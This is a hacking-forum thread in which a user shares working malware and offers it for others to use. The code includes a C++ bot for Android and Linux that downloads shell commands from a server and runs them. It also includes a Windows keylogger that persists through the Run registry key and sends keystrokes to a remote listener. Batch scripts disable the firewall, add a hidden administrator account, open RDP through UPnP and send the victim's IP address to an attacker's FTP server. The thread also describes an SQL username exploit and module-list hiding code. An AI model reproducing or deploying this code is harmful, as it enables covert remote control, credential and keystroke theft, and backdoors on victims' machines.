Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Custom Made Linux/Unix/Arm botnet

Just showing some code I created here


This simple C code is to show you how easy it can be to create a custom botnet


It will work on any Linux/Unix/Arm system's


It works by reading a servers directory thats unique to the device/system running the bot file


If the directory exsist it will download the command in that directory
Then run the command as a shell script


Code
#include <stdio.h>
#include <sstream>
#include <string>
#include <stdlib.h>
#include <time.h>
#include <iostream>
#include <fstream>
using namespace std;
int main () {
int iSecret;
/* CHECK IF USER IS NEW OR OLD
WE READ A NUMBER UNIQUE TO THE USER FROM A FILE
WE USE THIS AS A MEANS TO DOWNLOAD A COMMAND
THE COMMAND WILL BE FROM A SERVER HOSTING THE FILE
*/
/* IF USER IS OLD WE GET THERE ID NUMBER */
fstream file("../../../../sdcard/numbers.txt");
if (file.good()) {
string OldUser;
getline(file, OldUser);
/* READ ID NUMBER SO WE CAN DOWNLOAD COMMAND */
stringstream call_line;
call_line << "curl -o ../../../../sdcard/run.sh http://example.com/" << OldUser << "/command.txt";
system(call_line.str().c_str());
/* RUN THE COMMAND SENT BY THE SERVER */
system("sh ../../../../sdcard/run.sh");
return 0;
} else {
/* IF USER IS NEW WE CREATE THE FILE
THEN GENERATE A RANDOM NUMBER TO THE FILE
THIS NUMBER IS UNIQUE TO THIS USER
*/
ofstream outFile;
srand (time(NULL));
iSecret = rand() % 10000 + 1;
outFile.open("../../../../sdcard/numbers.txt");
outFile << iSecret;
outFile.close();
return 0;
}
}


I tested this on my own android phone and it works

All I did was use a c++ compiler IDE free from google play
C++ but can still be done with regular C


Updated "C++" code cause people bitching that it can't be done with just C

Code
#include <stdio.h>
#include <sstream>
#include <string>
#include <stdlib.h>
#include <time.h>
#include <iostream>
#include <fstream>
using namespace std;
int main () {
int iSecret;
/* CHECK IF USER IS NEW OR OLD
WE READ A NUMBER UNIQUE TO THE USER FROM A FILE
WE USE THIS AS A MEANS TO DOWNLOAD A COMMAND
THE COMMAND WILL BE FROM A SERVER HOSTING THE FILE
*/
/* IF USER IS OLD WE GET THERE ID NUMBER */
fstream file("../../../../sdcard/numbers.txt");
if (file.good()) {
string OldUser;
getline(file, OldUser);
/* READ ID NUMBER SO WE CAN DOWNLOAD COMMAND */
stringstream post_data;
post_data << "curl -s -F 'username='" << OldUser << " http://TESTWEBSITE.BLAHH/dsmbot/BOT.php";
system(post_data.str().c_str());
stringstream call_line;
call_line << "curl -o ../../../../sdcard/run.sh http://TESTWEBSITE.BLAHH/dsmbot/" << OldUser << "/command.txt";
system(call_line.str().c_str());
/* RUN THE COMMAND SENT BY THE SERVER */
system("sh ../../../../sdcard/run.sh");
return 0;
} else {
/* IF USER IS NEW WE CREATE THE FILE
THEN GENERATE A RANDOM NUMBER TO THE FILE
THIS NUMBER IS UNIQUE TO THIS USER
*/
ofstream outFile;
srand (time(NULL));
iSecret = rand() % 10000 + 1;
outFile.open("../../../../sdcard/numbers.txt");
outFile << iSecret;
outFile.close();
return 0;
}
}

I updated the code to interact with the webserver better...

I will include php files also

You will be able to view all bots hooked to the server
Time and date the bot was last hooked into the server
Send bash shell commands to the bots hooked

Now the bot will create the folder needed on the webserver if it's new and log itself to the server so you can detect its there..

Here you can see how easy one could make a android application to execute the C++ bot..

[Image: k3MeS6u.jpg]

[Image: hUNyKjA.jpg]

I sent a simple echo command here to test

So bam you see how easy one could create a bot android application

I was working on sending the current GPS location to the server also so you can know where your bots are located..

You can download the PHP files C++ code and example apk application here

http://droid-hacks.com/dsmbot/


Ohhh yeah I forgot to mention this botnet requires no SQL database or installation of any database

Just upload php files... Edit C++ code to your server and compile..
Agreed...

But did they.... No

So I figured why not help the community

Instead of writing out pages of code to do this

I tried to show how simple it could be done with just a paragraph of code...

This is the whole point of it man... Simplified


And yes it uses system functions to execute binaries default to the system..

Easier than adding a extra 3 paragraphs of pointless code when its already able to do it
Did I ever say this code was for Windows

No I did not....

Of course cURL is not default to the windows operating system

But with 90% of ARM/UNIX/LINUX architectures cURL is infact default to the system... meaning its built into the distro....


Windows header is not even included onto the code so idk why you think this code was designed for it...

Also I have over 8 years experience in coding in over 5 languages

I have created custom python/perl/lua/C++/java projects tons of times..

For example I created this winsock based C++ code that will stream windows keyboard keystrokes directly to your system...

Code
#include <tchar.h>
#include <stdio.h>

#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define DEBUG

#define IP "127.0.0.1"
#define PORT 1301
#define SEND_RELEASE(x) (x==16 || x==17 || x==18)
#define WAIT 6000

SOCKET SOCK;
char BUFFER[256];

void init_socket()
{
  WSADATA wsaData;
  WSAStartup(0x101, &wsaData);
  struct sockaddr_in sock_addr;
  int ERR;

  memset(BUFFER,0,256);
  SOCK = socket(AF_INET, SOCK_STREAM, 0);

  sock_addr.sin_port = htons(PORT);
  sock_addr.sin_family = AF_INET;
  sock_addr.sin_addr.s_addr = inet_addr(IP);

  do {
    ERR = connect(SOCK,(struct sockaddr*) &sock_addr, sizeof( sock_addr ));
    Sleep(WAIT);
  } while (ERR == SOCKET_ERROR);

}

void send_bytes(char* buffer)
{
  int ERR;

  ERR = send(SOCK,BUFFER,strlen(BUFFER),0);
  memset(BUFFER,0,256);
  if (ERR == 0 || ERR==-1 || ERR == WSAECONNRESET || ERR == WSAECONNABORTED) {
    closesocket(SOCK);
    WSACleanup();
    init_socket();
  }
}

int WINAPI WinMain(HINSTANCE Instance, HINSTANCE PreviousInstance, LPSTR CommandLine,int ShowCommand) {
TCHAR exepath[MAX_PATH];
GetModuleFileName(0, exepath, MAX_PATH);
    HKEY hKey;
    LONG lnRes = RegOpenKeyEx(
      HKEY_CURRENT_USER,
      "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
      0,KEY_WRITE,
      &hKey
      );
if( ERROR_SUCCESS == lnRes )
{
   lnRes = RegSetValueEx(hKey,
      "YourProgramsName",
      0,
      REG_SZ,
      exepath,
      strlen(exepath));
}
char Title[256];
int SizeTitle = sizeof( Title );
GetConsoleTitle( Title, SizeTitle );
HWND hWnd = NULL;
while ( NULL == hWnd )
{
    hWnd = FindWindow( NULL, Title );
}
ShowWindow( hWnd, SW_HIDE);
  unsigned int p;
  unsigned char keystate[256];
  unsigned char i;
  unsigned char j=0;
  memset(keystate,0,256);
  init_socket();

  while (1) {
    Sleep(1);
    for (i=0; i<250; i++){
      p = GetAsyncKeyState(i);

      if (p && !keystate[i]) {
      keystate[i] = 1;
      BUFFER[j]=i;
      BUFFER[j+1]=1;
      j+=2;
      }
      else if (!p && keystate[i]) {
      keystate[i] = 0;
      if (SEND_RELEASE(i)){
      BUFFER[j]=i;
      BUFFER[j+1]=2;
      j+=2;
      }
      }

    }

    if (j>=8)
    {
      send_bytes(BUFFER);
      j=0;
    }
  }
  closesocket(SOCK);
  WSACleanup();
  return 0;
}

I have also coded reverse shells in windows

shnackhag reverse shell





I am also the creator of

Open Project Botnet

https://hackforums.net/showthread.php?tid=4091369

A Windows based botnet that requires NO compilation of source code
and no SQL database needed..


What have you done.... haha


I have looked through your thread post and found nothing of any real value... Script kiddie stuff really...

Look through my thread post and find real knowledge...

hell even I know how to exploit the SQL database for hackforums....

Just can't do it cause the php file that is exploitable is only accessible to upgraded members like yourself...

This exploit allows you to steal google/yahoo/bing referrals

Anyone that signs up to the site visited from a search engine goes to your referrals

https://hackforums.net/refer.php?action=toplist

Check out the user
icuruok


You wanna see batch huh

This is a batch script I coded about 4 years ago...
What It does ?

Disable's system firewall
Enable's Remote Windows Desktop
Port Forward's Remote Desktop Service Past Router via UPnP
Sends You The External IP Of System That Ran File

Code
@echo off
@for /F "tokens=13 delims=\  " %%i in ('"ipconfig | findstr IPv4"') do set LOCAL_IP=%%i

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 1 /f

SET forwardport="forward.vbs"
ECHO Dim UpnpPorts >> %forwardport%
ECHO Dim PortList >> %forwardport%
ECHO Dim MyIPAddress >> %forwardport%
ECHO MyIPAddress = "%LOCAL_IP%" >> %forwardport%

ECHO Set IGD = CreateObject( "HNetCfg.NATUPnP") >> %forwardport%
ECHO Set UpnpPorts = IGD.StaticPortMappingCollection >> %forwardport%

ECHO UpnpPorts.Add 3389,"TCP",3389,MyIPAddress,TRUE,"RDP_3389_TCP" >> %forwardport%

SET iplogs=”rdp_ip_logs.log”
SET holdHttpResponse=tempholdHttpResponse.txt
SET holdExternalIP=”tempholdExternalIP.txt”
SET getIP=”tempgetExternalIP.vbs”
ECHO set WshShell = WScript.CreateObject(“WScript.Shell”) >> %getIP%
ECHO WshShell.Run “cmd” >> %getIP%
ECHO WScript.Sleep 100 >> %getIP%
ECHO WshShell.AppActivate “{%}SystemRoot{%}system32cmd.exe” >> %getIP%
ECHO WScript.Sleep 100 >> %getIP%
ECHO WshShell.SendKeys “telnet -f %holdHttpResponse% checkip.dyndns.org 80~” >> %getIP%
ECHO WScript.Sleep 100 >> %getIP%
ECHO WshShell.SendKeys “GET / HTTP/1.0~” >> %getIP%
ECHO WshShell.SendKeys “Host: checkip.dyndns.org~” >> %getIP%
ECHO WshShell.SendKeys “~” >> %getIP%
ECHO WshShell.SendKeys “~” >> %getIP%
ECHO WScript.Sleep 1500 >> %getIP%
ECHO WshShell.SendKeys “~” >> %getIP%
ECHO WshShell.SendKeys “exit~” >> %getIP%

cscript //nologo %forwardport%
cscript //nologo %getIP%
Findstr /I “Current” %holdHttpResponse% >> %holdExternalIP%
For /F “usebackq tokens=2-5 delims=.:” %%I In (%holdExternalIP%) Do Set _ip=%%I.%%J.%%K.%%L
Set ExternalIP=%_ip:~1,-14%
DEL %getIP%
DEL %forwardport%
DEL %holdHttpResponse%
DEL %holdExternalIP%
ECHO %ExternalIP% >> %iplogs%

echo user usernamehere> ftpcmd.dat
echo passwordhere>> ftpcmd.dat
echo put rdp_ip_logs.log>> ftpcmd.dat
echo quit>> ftpcmd.dat
ftp -n -s:ftpcmd.dat ftp.ftpsite.com
del ftpcmd.dat
del %iplogs%

cls
@exit
Just edit in your ftp connection settings & save as .bat & the file is ready.
(Apr 22, 2015 07:21 PM)⒤⒞⒰⒭⒰⒪⒦ Wrote:  Also I have over 8 years experience in coding in over 5 languages

I have created custom python/perl/lua/C++/java projects tons of times..
I don't think you have a life. Enjoy your botnet.
Haha yeah I don't have a life

Check out my reverse connection shell for iOS

https://hackforums.net/showthread.php?tid=4177469
Lmao did I say you change your name to a search engine..., NO

the exploit infact works by manipulating the SQL database... You get the referrals added to your account because of the SQL error... Nothing to do with changing your name... It works by the php getting the cache from the browser to determine what site the user last came from.. This data is automatically carried out by the site through a cookie that is then added to the database when the user registers....

So the site thinks ok new user registered and came from google so we will add google as its referral.. But with the exploit the user is added to your referral system.. Because of the SQL error which makes you overlap the referral accounts within the database itself...

Nothing to do with changing your name...


Also the batch only uses the vbs to assist with the upnp port forwarding as it couldn't be done with batch alone.. The code cant be done in pure vbs without creating batch or issuing command data.. So its better to use batch in the first place because less assistance is needed by external data...

You mock my code and examples.. And years developing software but cant show any skill as to your own coding.... Haha ok...

You must be used to coding pointless functions and Visual C programs rather than console based software


Sorry im not like you and don't create pointless loop functions and add extra code that's not needed because the system can already do it outside of the code.. This way you save yourself from writing pointless ass code...
Thanks for helping promote my thread and bringing it to the ranking it deserves..

I knew I could count on ya to bring my thread back up to the top....

I said threads you posted not post you posted... Anyone can help people with code.. To release it as opensource data is another deal...

And yes it is pointless when the external tools invoked are default to the operating system .. Obviously there is no need for the code when its not needed haha...

I think its hilarious you continue to bash on me about my coding skill just because we have different styles and methods of coding.. I understand that the winsock cleanup has issues and I understand that the character buffer could be done better but it works just fine how it is.. No real errors or issues are there cause the program will compile fine and run on the console fine.. Why fix it... It works..

And no that batch can't be done in pure vbs.. Im not talking VB

WITHOUT invoking or calling on external data.. Its easier to code it in batch because less external data needs to be called for it to work rather than vbs...




What does this batch script do ?


This batch script when run ,

Disables the windows firewall.
Disables balloon notice of firewall being turned off.
Add's a new windows system user called Ninja.
Makes this user hidden from the windows login screen.
Enables Remote Desktop Connection.
Portforwards the Remote Desktop Service past the router/modem via UPnP.
Sends you the external IP of the last system that ran the file.

So once a taget runs this batch script, You can login to there windows system using the windows remote desktop on port 3389 of the targets IP. Just login using the hidden Ninja user & password is Ninjapass now you have a windows operating system under you're command without any real knowledge to the user.

Code
@echo off
@for /F "tokens=13 delims=\  " %%i in ('"ipconfig | findstr IPv4"') do set LOCAL_IP=%%i

NET USER Ninja Ninjapass /ADD
net localgroup administrators Ninja /add

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v dontdisplaylastusername /t REG_DWORD /d 1 /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Ninja /t REG_DWORD /d 1 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Fir​ewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 1 /f

SET forwardport="forward.vbs"
ECHO Dim UpnpPorts >> %forwardport%
ECHO Dim PortList >> %forwardport%
ECHO Dim MyIPAddress >> %forwardport%
ECHO MyIPAddress = "%LOCAL_IP%" >> %forwardport%

ECHO Set IGD = CreateObject( "HNetCfg.NATUPnP") >> %forwardport%
ECHO Set UpnpPorts = IGD.StaticPortMappingCollection >> %forwardport%

ECHO UpnpPorts.Add 3389,"TCP",3389,MyIPAddress,TRUE,"RDP_3389_TCP" >> %forwardport%

SET iplogs=”rdp_ip_logs.log”
SET holdHttpResponse=tempholdHttpResponse.txt
SET holdExternalIP=”tempholdExternalIP.txt”
SET getIP=”tempgetExternalIP.vbs”
ECHO set WshShell = WScript.CreateObject(“WScript.Shell”) >> %getIP%
ECHO WshShell.Run “cmd” >> %getIP%
ECHO WScript.Sleep 100 >> %getIP%
ECHO WshShell.AppActivate “{%}SystemRoot{%}system32cmd.exe” >> %getIP%
ECHO WScript.Sleep 100 >> %getIP%
ECHO WshShell.SendKeys “telnet -f %holdHttpResponse% checkip.dyndns.org 80~” >> %getIP%
ECHO WScript.Sleep 100 >> %getIP%
ECHO WshShell.SendKeys “GET / HTTP/1.0~” >> %getIP%
ECHO WshShell.SendKeys “Host: checkip.dyndns.org~” >> %getIP%
ECHO WshShell.SendKeys “~” >> %getIP%
ECHO WshShell.SendKeys “~” >> %getIP%
ECHO WScript.Sleep 1500 >> %getIP%
ECHO WshShell.SendKeys “~” >> %getIP%
ECHO WshShell.SendKeys “exit~” >> %getIP%

cscript //nologo %forwardport%
cscript //nologo %getIP%
Findstr /I “Current” %holdHttpResponse% >> %holdExternalIP%
For /F “usebackq tokens=2-5 delims=.:” %%I In (%holdExternalIP%) Do Set _ip=%%I.%%J.%%K.%%L
Set ExternalIP=%_ip:~1,-14%
DEL %getIP%
DEL %forwardport%
DEL %holdHttpResponse%
DEL %holdExternalIP%
ECHO %ExternalIP% >> %iplogs%

echo user USERNAMEHERER> ftpcmd.dat
echo PASSWORDHERE>> ftpcmd.dat
echo put rdp_ip_logs.log>> ftpcmd.dat
echo quit>> ftpcmd.dat
ftp -n -s:ftpcmd.dat FTP.FTPWEBSITE.COM
del ftpcmd.dat
del %iplogs%

cls
@exit 


Just change the FTP details at the end of the batch script to you're FTP details to recieve the external IP address's of the systems that run the batch script.



icuruok
domeslapmusic
shnackhag
myswordnu

Iv had accounts here sense 2006

I dont care if I get reported

Cause they have permanently banned all my previous accounts for exploiting the database using upgraded accounts...

The RULES state you are not allowed to have multiple accounts.... Well I never did

I had a account
myswordnu and they banned it permanently

I had a account
shnackhag and they banned it permanently

So I created icuruok
And they banned it permanently

So I created domeslapmusic

And now watch this get banned permanently

Even though I broke no rule...

With those accounts I have made more post and threads than you so dont be bringing up post/thread count....

[img]http://rapbattlezz.thats.im/show.php[/img]
The sdcard directory is on there phone even without a sdcard its part of the mounted internal memory.. Comes stock with every android phone you dont actually need a sdcard...

And no its not as simple in batch as it is in bash because windows does not have a default binary for doing upnp without downloading one..
In bash we could easily do a wget,pm or apt to get this done, But windows doesn't offer such tools for command line by default unless you do a registry edit and enable telnet or ftp to get a external file..

The point of creating this code and why I used system command was to simplify the code...

I just wanted to show how easily a botnet could be created with just a few lines of code..

The system command will run fine on any linux/unix/arm device

This botnet does not need extra code for extra functions.. all this can be done through cURL post data.. The php can then decide how to handle it from there


You guys don't believe my SQL exploit is real haha

Ok its simple you use charmap unicode data unknown to the SQL database..

Go to the username change page "upgraded members only" In control panel

The charmap unicode most be one not detected by the php update or recognized by SQL for it to work..

I know which ones work but will not share that here just pm me

Then once input to that php page

You will notice your username becomes invisible as it doesn't exsist cause the php files on the mybb forum cant detect it from SQL

also no one will be able to visit your member profile page..

By doing this it makes you like user -100 in the database causing you to overlap over other accounts.. Which then causes you to steal search engine referrals


Infact all the php files do is say you are a guest members even though you still have full access


Also to show how genuinely fucking retarded you must be I have tested this myself on 3 android phones "not emulated" without a sdcard in a single one of them and it worked flawlessly
Thanks for the intellectual response much appreciated!!
while (1)
{
// code with no break statement here
}
closesocket(SOCK);
WSACleanup();
return 0;

LOL!!!!!!
SOMEONE STAB ME IN THE NECK LMAO
Dude that code has nothing to do with this thread

That is code I wrote 4 years ago..

That is for the windows winsock keyboard keystrokes viewer

It streams remote windows keyboard keystrokes to your netcat or socket listening server..

Please only post about the botnet thanks


You can see the winsock keylogger in action here

https://hackforums.net/showthread.php?tid=1114007

Seeing as how you all love to mock its ability
[img]http://i738.photobucket.com/albums/xx22/myswordnu/server2.jpg[/img]
[img]http://i738.photobucket.com/albums/xx22/myswordnu/server1.jpg[/img]
(Apr 24, 2015 05:50 PM)DomeSlapMusic Wrote:  Dude that code has nothing to do with this thread

That is code I wrote 4 years ago..

That is for the windows winsock keyboard keystrokes viewer

It streams remote windows keyboard keystrokes to your netcat or socket listening server..

Please only post about the botnet thanks


You can see the winsock keylogger in action here

Seeing as how you all love to mock its ability

cool you can use setwindowhookex, send, recv

Impressive.

🤣
Whats really funny is its better than anything you have ever done or shared online

Sad...
(Apr 24, 2015 06:01 PM)DomeSlapMusic Wrote:  Whats really funny is its better than anything you have ever done or shared online

Sad...

This is the equivalence of everything you've accomplished in your programming career
Code
LPVOID AddModuleBase32(wchar_t* szModule, LPVOID Base)
{
    LPVOID lpEntry = 0;
    PLDR_DATA_TABLE_ENTRY NewEntry = 0;
    PPEB32 Peb = GetPEB();
    PPEB_LDR_DATA Ldr = Peb->Ldr;
    PLDR_DATA_TABLE_ENTRY DataEntryStart = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;
    PLDR_DATA_TABLE_ENTRY DataCurrent = DataEntryStart;
    PLDR_DATA_TABLE_ENTRY LastEntry = (PLDR_DATA_TABLE_ENTRY)(DataCurrent->InLoadOrderLinks.Blink);

    unsigned long ulLastAddress = (unsigned long)(DataCurrent->InLoadOrderLinks.Blink); //Address to the last entry
    unsigned long ulFirstEntry = (unsigned long)((PLDR_DATA_TABLE_ENTRY)(DataCurrent->InLoadOrderLinks.Blink))->InLoadOrderLinks.Flink; //Address to the first entry

    lpEntry = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(LDR_DATA_TABLE_ENTRY));
    NewEntry = (PLDR_DATA_TABLE_ENTRY)lpEntry;

    if (lpEntry)
    {
        LPVOID PEBEntry = 0;
        *(unsigned long*)(&NewEntry->InLoadOrderLinks.Flink) = ulFirstEntry;
        *(unsigned long*)(&DataCurrent->InLoadOrderLinks.Blink) = (unsigned long)lpEntry;
        *(unsigned long*)(&NewEntry->InLoadOrderLinks.Blink) = ulLastAddress;
        *(unsigned long*)(&LastEntry->InLoadOrderLinks.Flink) = (unsigned long)lpEntry;

        NewEntry->DllBase = Base;
        NewEntry->BaseDllName.Buffer = szModule;

        NewEntry->BaseDllName.Length = wcslen(szModule)*2;
        NewEntry->BaseDllName.MaximumLength = wcslen(szModule)*2+2;

        if (PEBEntry = GetModuleBase32(szModule))
        {
            return PEBEntry;
        }
HeapFree(GetProcessHeap(),0,lpEntry);
    }

    return 0;
}

Short and simple.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by evoripJul 11, 2025 01:02 PM 12 779 Jul 11, 2025 01:02 PM
Last Post: ▄︻デ══━一一一一━
by ReticulumSep 10, 2017 02:58 PM 11 1,685 Sep 10, 2017 02:58 PM
Last Post: SuperiorUser
by PostinglotusAug 24, 2016 08:56 PM 9 646 Aug 24, 2016 08:56 PM
Last Post: YsBk Dervint